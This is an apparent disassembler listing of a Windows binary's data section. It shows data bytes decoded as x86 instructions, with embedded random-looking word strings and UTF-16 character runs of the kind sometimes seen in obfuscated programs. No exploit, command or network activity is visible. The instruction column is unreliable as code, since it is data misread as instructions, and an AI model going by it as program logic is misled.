40f346:	76 69                	jbe    0x40f3b1
40f348:	73 6b                	jae    0x40f3b5
40f34a:	72 61                	jb     0x40f3ad
40f34c:	33 00                	xor    (%eax),%eax
40f34e:	00 00                	add    %al,(%eax)
40f350:	62 65 64             	bound  %esp,0x64(%ebp)
40f353:	6d                   	insl   (%dx),%es:(%edi)
40f354:	6d                   	insl   (%dx),%es:(%edi)
40f355:	65 00 00             	add    %al,%gs:(%eax)
40f358:	65 6b 73 74 65       	imul   $0x65,%gs:0x74(%ebx),%esi
40f35d:	6d                   	insl   (%dx),%es:(%edi)
40f35e:	70 6f                	jo     0x40f3cf
40f360:	72 61                	jb     0x40f3c3
40f362:	00 00                	add    %al,(%eax)
40f364:	3a 4f ad             	cmp    -0x53(%edi),%cl
40f367:	33 99 66 cf 11 b7    	xor    -0x48ee309a(%ecx),%ebx
40f36d:	0c 00                	or     $0x0,%al
40f36f:	aa                   	stos   %al,%es:(%edi)
40f370:	00 60 d3             	add    %ah,-0x2d(%eax)
40f373:	93                   	xchg   %eax,%ebx
40f374:	46                   	inc    %esi
40f375:	6f                   	outsl  %ds:(%esi),(%dx)
40f376:	72 6d                	jb     0x40f3e5
40f378:	00 00                	add    %al,(%eax)
40f37a:	00 00                	add    %al,(%eax)
40f37c:	44                   	inc    %esp
40f37d:	65 63 6f 6d          	arpl   %ebp,%gs:0x6d(%edi)
40f381:	70 6f                	jo     0x40f3f2
40f383:	73 69                	jae    0x40f3ee
40f385:	00 00                	add    %al,(%eax)
40f387:	00 42 41             	add    %al,0x41(%edx)
40f38a:	52                   	push   %edx
40f38b:	53                   	push   %ebx
40f38c:	00 00                	add    %al,(%eax)
40f38e:	00 00                	add    %al,(%eax)
40f390:	46                   	inc    %esi
40f391:	6f                   	outsl  %ds:(%esi),(%dx)
40f392:	72 67                	jb     0x40f3fb
40f394:	6e                   	outsb  %ds:(%esi),(%dx)
40f395:	67 65 72 73          	addr16 gs jb 0x40f40c
40f399:	6d                   	insl   (%dx),%es:(%edi)
40f39a:	00 00                	add    %al,(%eax)
40f39c:	f2 4e                	repnz dec %esi
40f39e:	ad                   	lods   %ds:(%esi),%eax
40f39f:	33 99 66 cf 11 b7    	xor    -0x48ee309a(%ecx),%ebx
40f3a5:	0c 00                	or     $0x0,%al
40f3a7:	aa                   	stos   %al,%es:(%edi)
40f3a8:	00 60 d3             	add    %ah,-0x2d(%eax)
40f3ab:	93                   	xchg   %eax,%ebx
40f3ac:	44                   	inc    %esp
40f3ad:	4f                   	dec    %edi
40f3ae:	52                   	push   %edx
40f3af:	53                   	push   %ebx
40f3b0:	00 00                	add    %al,(%eax)
40f3b2:	00 00                	add    %al,(%eax)
40f3b4:	46                   	inc    %esi
40f3b5:	6f                   	outsl  %ds:(%esi),(%dx)
40f3b6:	72 74                	jb     0x40f42c
40f3b8:	75 6e                	jne    0x40f428
40f3ba:	65 74 65             	gs je  0x40f422
40f3bd:	00 00                	add    %al,(%eax)
40f3bf:	00 55 70             	add    %dl,0x70(%ebp)
40f3c2:	67 61                	addr16 popa
40f3c4:	6e                   	outsb  %ds:(%esi),(%dx)
40f3c5:	67 75 72             	addr16 jne 0x40f43a
40f3c8:	74 65                	je     0x40f42f
40f3ca:	00 00                	add    %al,(%eax)
40f3cc:	4b                   	dec    %ebx
40f3cd:	41                   	inc    %ecx
40f3ce:	54                   	push   %esp
40f3cf:	53                   	push   %ebx
40f3d0:	4e                   	dec    %esi
40f3d1:	4f                   	dec    %edi
40f3d2:	00 00                	add    %al,(%eax)
40f3d4:	54                   	push   %esp
40f3d5:	68 61 6b 75 72       	push   $0x72756b61
40f3da:	64 75 00             	fs jne 0x40f3dd
40f3dd:	00 00                	add    %al,(%eax)
40f3df:	00 46 6c             	add    %al,0x6c(%esi)
40f3e2:	75 6f                	jne    0x40f453
40f3e4:	72 6f                	jb     0x40f455
40f3e6:	67 65 00 00          	add    %al,%gs:(%bx,%si)
40f3ea:	00 00                	add    %al,(%eax)
40f3ec:	44                   	inc    %esp
40f3ed:	75 6d                	jne    0x40f45c
40f3ef:	65 74 6f             	gs je  0x40f461
40f3f2:	73 65                	jae    0x40f459
40f3f4:	36 00 00             	add    %al,%ss:(%eax)
40f3f7:	00 45 79             	add    %al,0x79(%ebp)
40f3fa:	65 64 6e             	gs outsb %fs:(%esi),(%dx)
40f3fd:	65 73 73             	gs jae 0x40f473
40f400:	31 00                	xor    %eax,(%eax)
40f402:	00 00                	add    %al,(%eax)
40f404:	6d                   	insl   (%dx),%es:(%edi)
40f405:	65 6c                	gs insb (%dx),%es:(%edi)
40f407:	6c                   	insb   (%dx),%es:(%edi)
40f408:	65 6d                	gs insl (%dx),%es:(%edi)
40f40a:	61                   	popa
40f40b:	6d                   	insl   (%dx),%es:(%edi)
40f40c:	65 72 69             	gs jb  0x40f478
40f40f:	6b 61 6e 73          	imul   $0x73,0x6e(%ecx),%esp
40f413:	6b 00 00             	imul   $0x0,(%eax),%eax
40f416:	00 00                	add    %al,(%eax)
40f418:	70 65                	jo     0x40f47f
40f41a:	62 62 6c             	bound  %esp,0x6c(%edx)
40f41d:	79 00                	jns    0x40f41f
40f41f:	00 73 76             	add    %dh,0x76(%ebx)
40f422:	69 67 65 72 64 61 74 	imul   $0x74616472,0x65(%edi),%esp
40f429:	74 65                	je     0x40f490
40f42b:	72 00                	jb     0x40f42d
40f42d:	00 00                	add    %al,(%eax)
40f42f:	00 66 6a             	add    %ah,0x6a(%esi)
40f432:	61                   	popa
40f433:	73 65                	jae    0x40f49a
40f435:	6e                   	outsb  %ds:(%esi),(%dx)
40f436:	64 65 73 00          	fs gs jae 0x40f43a
40f43a:	00 00                	add    %al,(%eax)
40f43c:	46                   	inc    %esi
40f43d:	72 69                	jb     0x40f4a8
40f43f:	6b 61 64 65          	imul   $0x65,0x64(%ecx),%esp
40f443:	6c                   	insb   (%dx),%es:(%edi)
40f444:	6c                   	insb   (%dx),%es:(%edi)
40f445:	65 6e                	outsb  %gs:(%esi),(%dx)
40f447:	39 00                	cmp    %eax,(%eax)
40f449:	00 00                	add    %al,(%eax)
40f44b:	00 55 6e             	add    %dl,0x6e(%ebp)
40f44e:	65 78 68             	gs js  0x40f4b9
40f451:	61                   	popa
40f452:	75 73                	jne    0x40f4c7
40f454:	74 69                	je     0x40f4bf
40f456:	62 6c 65 6e          	bound  %ebp,0x6e(%ebp,%eiz,2)
40f45a:	65 73 73             	gs jae 0x40f4d0
40f45d:	00 00                	add    %al,(%eax)
40f45f:	00 53 69             	add    %dl,0x69(%ebx)
40f462:	6e                   	outsb  %ds:(%esi),(%dx)
40f463:	6b 69 6e 67          	imul   $0x67,0x6e(%ecx),%ebp
40f467:	6c                   	insb   (%dx),%es:(%edi)
40f468:	79 00                	jns    0x40f46a
40f46a:	00 00                	add    %al,(%eax)
40f46c:	0c 00                	or     $0x0,%al
40f46e:	80 00 00             	addb   $0x0,(%eax)
40f471:	00 00                	add    %al,(%eax)
40f473:	00 00                	add    %al,(%eax)
40f475:	00 00                	add    %al,(%eax)
40f477:	00 23                	add    %ah,(%ebx)
40f479:	3d fb fc fa a0       	cmp    $0xa0fafcfb,%eax
40f47e:	68 10 a7 38 08       	push   $0x838a710
40f483:	00 2b                	add    %ch,(%ebx)
40f485:	33 71 b5             	xor    -0x4b(%ecx),%esi
40f488:	22 3d fb fc fa a0    	and    0xa0fafcfb,%bh
40f48e:	68 10 a7 38 08       	push   $0x838a710
40f493:	00 2b                	add    %ch,(%ebx)
40f495:	33 71 b5             	xor    -0x4b(%ecx),%esi
40f498:	02 00                	add    (%eax),%al
40f49a:	00 00                	add    %al,(%eax)
40f49c:	78 f4                	js     0x40f492
40f49e:	40                   	inc    %eax
40f49f:	00 88 f4 40 00 00    	add    %cl,0x40f4(%eax)
40f4a5:	00 00                	add    %al,(%eax)
40f4a7:	00 ec                	add    %ch,%ah
40f4a9:	61                   	popa
40f4aa:	73 73                	jae    0x40f51f
40f4ac:	7f 46                	jg     0x40f4f4
40f4ae:	d1 11                	rcll   $1,(%ecx)
40f4b0:	81 0f 00 00 f8 75    	orl    $0x75f80000,(%edi)
40f4b6:	57                   	push   %edi
40f4b7:	aa                   	stos   %al,%es:(%edi)
40f4b8:	1a 00                	sbb    (%eax),%al
40f4ba:	00 00                	add    %al,(%eax)
40f4bc:	74 00                	je     0x40f4be
40f4be:	38 00                	cmp    %al,(%eax)
40f4c0:	6f                   	outsl  %ds:(%esi),(%dx)
40f4c1:	00 54 00 4b          	add    %dl,0x4b(%eax,%eax,1)
40f4c5:	00 78 00             	add    %bh,0x0(%eax)
40f4c8:	52                   	push   %edx
40f4c9:	00 4a 00             	add    %cl,0x0(%edx)
40f4cc:	4e                   	dec    %esi
40f4cd:	00 30                	add    %dh,(%eax)
40f4cf:	00 55 00             	add    %dl,0x0(%ebp)
40f4d2:	35 00 31 00 00       	xor    $0x3100,%eax
40f4d7:	00 36                	add    %dh,(%esi)
40f4d9:	00 00                	add    %al,(%eax)
40f4db:	00 70 00             	add    %dh,0x0(%eax)
40f4de:	63 00                	arpl   %eax,(%eax)
40f4e0:	67 00 70 00          	add    %dh,0x0(%bx,%si)
40f4e4:	54                   	push   %esp
40f4e5:	00 53 00             	add    %dl,0x0(%ebx)
40f4e8:	37                   	aaa
40f4e9:	00 74 00 30          	add    %dh,0x30(%eax,%eax,1)
40f4ed:	00 4f 00             	add    %cl,0x0(%edi)
40f4f0:	45                   	inc    %ebp
40f4f1:	00 37                	add    %dh,(%edi)
40f4f3:	00 45 00             	add    %al,0x0(%ebp)
40f4f6:	71 00                	jno    0x40f4f8
40f4f8:	71 00                	jno    0x40f4fa
40f4fa:	61                   	popa
40f4fb:	00 45 00             	add    %al,0x0(%ebp)
40f4fe:	67 00 45 00          	add    %al,0x0(%di)
40f502:	7a 00                	jp     0x40f504
40f504:	73 00                	jae    0x40f506
40f506:	33 00                	xor    (%eax),%eax
40f508:	55                   	push   %ebp
40f509:	00 37                	add    %dh,(%edi)
40f50b:	00 30                	add    %dh,(%eax)
40f50d:	00 39                	add    %bh,(%ecx)
40f50f:	00 35 00 00 00 46    	add    %dh,0x46000000
40f515:	00 00                	add    %al,(%eax)
40f517:	00 66 00             	add    %ah,0x0(%esi)
40f51a:	46                   	inc    %esi
40f51b:	00 68 00             	add    %ch,0x0(%eax)
40f51e:	50                   	push   %eax
40f51f:	00 64 00 70          	add    %ah,0x70(%eax,%eax,1)
40f523:	00 73 00             	add    %dh,0x0(%ebx)
40f526:	6c                   	insb   (%dx),%es:(%edi)
40f527:	00 50 00             	add    %dl,0x0(%eax)
40f52a:	6b 00 44             	imul   $0x44,(%eax),%eax
40f52d:	00 67 00             	add    %ah,0x0(%edi)
40f530:	54                   	push   %esp
40f531:	00 54 00 57          	add    %dl,0x57(%eax,%eax,1)
40f535:	00 79 00             	add    %bh,0x0(%ecx)
40f538:	41                   	inc    %ecx
40f539:	00 6a 00             	add    %ch,0x0(%edx)
40f53c:	6a 00                	push   $0x0
40f53e:	4b                   	dec    %ebx
40f53f:	00 6e 00             	add    %ch,0x0(%esi)
40f542:	34 00                	xor    $0x0,%al
40f544:	55                   	push   %ebp
40f545:	00 42 00             	add    %al,0x0(%edx)
40f548:	33 00                	xor    (%eax),%eax
40f54a:	43                   	inc    %ebx
40f54b:	00 55 00             	add    %dl,0x0(%ebp)
40f54e:	30 00                	xor    %al,(%eax)
40f550:	31 00                	xor    %eax,(%eax)
40f552:	73 00                	jae    0x40f554
40f554:	6c                   	insb   (%dx),%es:(%edi)
40f555:	00 34 00             	add    %dh,(%eax,%eax,1)
40f558:	59                   	pop    %ecx
40f559:	00 33                	add    %dh,(%ebx)
40f55b:	00 30                	add    %dh,(%eax)
40f55d:	00 00                	add    %al,(%eax)
40f55f:	00 18                	add    %bl,(%eax)
40f561:	00 00                	add    %al,(%eax)
40f563:	00 4a 00             	add    %cl,0x0(%edx)
40f566:	72 00                	jb     0x40f568
40f568:	72 00                	jb     0x40f56a
40f56a:	76 00                	jbe    0x40f56c
40f56c:	4c                   	dec    %esp
40f56d:	00 45 00             	add    %al,0x0(%ebp)
40f570:	37                   	aaa
40f571:	00 4f 00             	add    %cl,0x0(%edi)
40f574:	61                   	popa
40f575:	00 48 00             	add    %cl,0x0(%eax)
40f578:	36 00 31             	add    %dh,%ss:(%ecx)
40f57b:	00 00                	add    %al,(%eax)
40f57d:	00 00                	add    %al,(%eax)
40f57f:	00 22                	add    %ah,(%edx)
40f581:	00 00                	add    %al,(%eax)
40f583:	00 56 00             	add    %dl,0x0(%esi)
40f586:	64 00 51 00          	add    %dl,%fs:0x0(%ecx)
40f58a:	53                   	push   %ebx
40f58b:	00 47 00             	add    %al,0x0(%edi)
40f58e:	41                   	inc    %ecx
40f58f:	00 33                	add    %dh,(%ebx)
40f591:	00 74 00 74          	add    %dh,0x74(%eax,%eax,1)
40f595:	00 4a 00             	add    %cl,0x0(%edx)
40f598:	6c                   	insb   (%dx),%es:(%edi)
40f599:	00 4b 00             	add    %cl,0x0(%ebx)
40f59c:	74 00                	je     0x40f59e
40f59e:	72 00                	jb     0x40f5a0
40f5a0:	31 00                	xor    %eax,(%eax)
40f5a2:	32 00                	xor    (%eax),%al
40f5a4:	34 00                	xor    $0x0,%al
40f5a6:	00 00                	add    %al,(%eax)
40f5a8:	2a 00                	sub    (%eax),%al
40f5aa:	00 00                	add    %al,(%eax)
40f5ac:	69 00 72 00 63 00    	imul   $0x630072,(%eax),%eax
40f5b2:	6f                   	outsl  %ds:(%esi),(%dx)
40f5b3:	00 79 00             	add    %bh,0x0(%ecx)
40f5b6:	64 00 78 00          	add    %bh,%fs:0x0(%eax)
40f5ba:	78 00                	js     0x40f5bc
40f5bc:	50                   	push   %eax
40f5bd:	00 41 00             	add    %al,0x0(%ecx)
40f5c0:	38 00                	cmp    %al,(%eax)
40f5c2:	53                   	push   %ebx
40f5c3:	00 47 00             	add    %al,0x0(%edi)
40f5c6:	46                   	inc    %esi
40f5c7:	00 63 00             	add    %ah,0x0(%ebx)
40f5ca:	33 00                	xor    (%eax),%eax
40f5cc:	66 00 55 00          	data16 add %dl,0x0(%ebp)
40f5d0:	54                   	push   %esp
40f5d1:	00 33                	add    %dh,(%ebx)
40f5d3:	00 33                	add    %dh,(%ebx)
40f5d5:	00 00                	add    %al,(%eax)
40f5d7:	00 10                	add    %dl,(%eax)
40f5d9:	00 00                	add    %al,(%eax)
40f5db:	00 49 00             	add    %cl,0x0(%ecx)
40f5de:	75 00                	jne    0x40f5e0
40f5e0:	74 00                	je     0x40f5e2
40f5e2:	73 00                	jae    0x40f5e4
40f5e4:	55                   	push   %ebp
40f5e5:	00 32                	add    %dh,(%edx)
40f5e7:	00 33                	add    %dh,(%ebx)
40f5e9:	00 35 00 00 00 00    	add    %dh,0x0
40f5ef:	00 14 00             	add    %dl,(%eax,%eax,1)
40f5f2:	00 00                	add    %al,(%eax)
40f5f4:	48                   	dec    %eax
40f5f5:	00 69 00             	add    %ch,0x0(%ecx)
40f5f8:	66 00 33             	data16 add %dh,(%ebx)
40f5fb:	00 50 00             	add    %dl,0x0(%eax)
40f5fe:	6e                   	outsb  %ds:(%esi),(%dx)
40f5ff:	00 51 00             	add    %dl,0x0(%ecx)
40f602:	5a                   	pop    %edx
40f603:	00 34 00             	add    %dh,(%eax,%eax,1)
40f606:	37                   	aaa
40f607:	00 00                	add    %al,(%eax)
40f609:	00 00                	add    %al,(%eax)
40f60b:	00 4c 00 00          	add    %cl,0x0(%eax,%eax,1)
40f60f:	00 43 00             	add    %al,0x0(%ebx)
40f612:	56                   	push   %esi
40f613:	00 44 00 50          	add    %al,0x50(%eax,%eax,1)
40f617:	00 45 00             	add    %al,0x0(%ebp)
40f61a:	44                   	inc    %esp
40f61b:	00 6a 00             	add    %ch,0x0(%edx)
40f61e:	45                   	inc    %ebp
40f61f:	00 54 00 34          	add    %dl,0x34(%eax,%eax,1)
40f623:	00 4e 00             	add    %cl,0x0(%esi)
40f626:	30 00                	xor    %al,(%eax)
40f628:	79 00                	jns    0x40f62a
40f62a:	39 00                	cmp    %eax,(%eax)
40f62c:	47                   	inc    %edi
40f62d:	00 67 00             	add    %ah,0x0(%edi)
40f630:	6f                   	outsl  %ds:(%esi),(%dx)
40f631:	00 36                	add    %dh,(%esi)
40f633:	00 7a 00             	add    %bh,0x0(%edx)
40f636:	43                   	inc    %ebx
40f637:	00 78 00             	add    %bh,0x0(%eax)
40f63a:	63 00                	arpl   %eax,(%eax)
40f63c:	59                   	pop    %ecx
40f63d:	00 7a 00             	add    %bh,0x0(%edx)
40f640:	70 00                	jo     0x40f642
40f642:	46                   	inc    %esi
40f643:	00 77 00             	add    %dh,0x0(%edi)
40f646:	6c                   	insb   (%dx),%es:(%edi)
40f647:	00 35 00 56 00 67    	add    %dh,0x67005600
40f64d:	00 51 00             	add    %dl,0x0(%ecx)
40f650:	48                   	dec    %eax
40f651:	00 31                	add    %dh,(%ecx)
40f653:	00 6d 00             	add    %ch,0x0(%ebp)
40f656:	32 00                	xor    (%eax),%al
40f658:	31 00                	xor    %eax,(%eax)